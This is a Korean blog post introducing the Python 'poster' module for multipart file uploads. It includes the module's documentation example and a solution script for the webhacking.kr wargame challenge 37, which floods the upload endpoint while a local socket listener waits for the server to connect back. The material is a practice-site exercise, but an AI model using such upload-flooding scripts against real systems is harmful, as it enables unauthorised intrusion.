Python/2.7 information

poster module (upload image or file)

qkqhxla1 2015. 8. 24. 16:06

사진이나 파일을 업로드할 경우가 있을때, 사진같은경우 내부정보가 바이너리로 변경되

multipart/form-data형식으로 전송된다. 그래서 막상 프로그래밍으로 구현하려면 어떻게 해야될지 몰랐다.(사진파일이 그냥 바이너리로만 바뀌어서 보내지는지, 추가되는점은 없는지 등등 중간 인코딩방식을 잘 몰라서. 생각해보니까 찾아보기도 귀찮아서 안찾은듯


예전에 webhacking.kr 37번같은경우에는 그냥 마구잡이로 보내지는 패킷을 잡아서 소켓으로 어떻게어떻게 문서찾아가면서 구현했었는데, 지금보면 좀 억지로 만든 프로그램이다. 다시 읽어보니까 되게 원시적인 방법으로 했다. (지금 생각해보면 그거 하나 구현하려고 이리저리 삽질한게 공부에 많은 도움이 됬다.


이번에 적을 poster모듈을 쓰면 메소드가 알아서 바이너리로 바꿔주고 중간처리를 다 해줘서 편하다. 

대충 봐도 업로드 전용모듈인것같다. 되게 쓰기에 편하다.


docs : http://atlee.ca/software/poster/


설치 : pip install poster

docs 기본 예제. 기본적으로 참고하기 좋아서 적어둠.

# test_client.py
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2

# Register the streaming http handlers with urllib2
register_openers()

# Start the multipart/form-data encoding of the file "DSC0001.jpg"
# "image1" is the name of the parameter, which is normally set
# via the "name" parameter of the HTML <input> tag.

# headers contains the necessary Content-Type and Content-Length
# datagen is a generator object that yields the encoded parameters
datagen, headers = multipart_encode({"image1": open("DSC0001.jpg", "rb")})

# Create the Request object
request = urllib2.Request("http://localhost:5000/upload_image", datagen, headers)
# Actually do the request, and get the response
print urllib2.urlopen(request).read()

웹케알 37번을 poster모듈을 이용해서 다시 구현해봤다. 나만의 생각일지 모르나 더 깔끔하게 동작함을 확인할수 있었다. 그리고 내부가 한글과 영어로 채워진 걸로 테스트했는데, 이게 아니라 사진 업로드시에도 제대로 동작하는걸 다른곳에서 확인했다.

# -*- encoding: cp949 -*-
import socket,urllib2,time,threading
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
register_openers() 

session = 본인 세션; my_ip = '192.168.219.102'
flag = True
def netcat(): #python netcat
    global flag
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind((my_ip,7777))
    s.settimeout(3) #3초 이내에 응답을 못받으면 실패한것이므로 timeout 3초로 설정
    s.listen(5)
    try:
        conn,addr = s.accept() 
        answer = conn.recv(1024)
        print answer
    except: print 'fail'
    flag = False

def request():
    global flag
    filename = 'tmp-'+str(int(time.time())+2) #2초정도 뒤의 시간으로 파일을 만들어서
    f = open(filename,'w'); f.close()
    datagen, headers = multipart_encode({"upfile": open(filename, "rb")}) #전송
    req = urllib2.Request("http://webhacking.kr/challenge/web/web-18/index.php", datagen, headers)
    req.add_header('cookie','PHPSESSID='+session)
    s = time.time()
    while time.time() - s < 3 and flag: #약간의 통신차이를 생각해 3초 이내이거나 netcat이 연락을 받을때까지 무한요청
        urllib2.urlopen(req).read()

th1 = threading.Thread(target=netcat,args=())
th1.start() 
th2 = threading.Thread(target=request,args=())
th2.start() 


'Python > 2.7 information' 카테고리의 다른 글

Hello world 난독화하기.(번역)  (1) 2015.11.28
수학 관련 모듈 sympy, scipy  (0) 2015.09.07
pyexiv2 module (read and modify exif)  (0) 2015.08.23
selenium  (0) 2015.08.09
python .doc to .pdf, .xls to .pdf  (0) 2015.08.03